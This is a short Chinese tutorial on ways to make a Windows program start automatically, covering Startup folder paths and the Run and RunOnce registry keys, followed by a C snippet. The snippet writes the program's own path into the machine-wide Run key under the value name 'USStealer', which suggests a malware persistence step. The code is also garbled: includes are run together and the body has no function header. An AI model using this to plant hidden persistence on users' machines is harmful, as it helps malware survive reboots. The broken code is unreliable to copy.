使程序可以随windows自启动的方式有
1.启动文件夹
将程序或程序的快捷方式放置到启动文件夹
XP:
<系统路径>\Documents and Settings\Administrator\「开始」菜单\程序\启动
WIN7:
<系统路径>\Users\<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
2.注册表
当前用户
(1).HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Run
(2).HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/RunOnce
所有用户
(3).HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/Run
(4).HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/Current Version/RunOnce
#include<stdio.h>
#include<windows.h>#include <winreg.h>
{
HKEY hKey = NULL;
DWORD rc;
char buffer[255] = {0};
char szFileName[255];
//设置键值
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,
KEY_ALL_ACCESS, //权限
&hKey);
if(rc == ERROR_SUCCESS)
{
GetModuleFileName(NULL, szFileName, 255);
sprintf((char *)buffer,"%s",szFileName);
RegSetValueEx(hKey,"USStealer",0,REG_SZ,
(const BYTE *)buffer,strlen(buffer)); //赋键值
RegCloseKey(hKey);}
}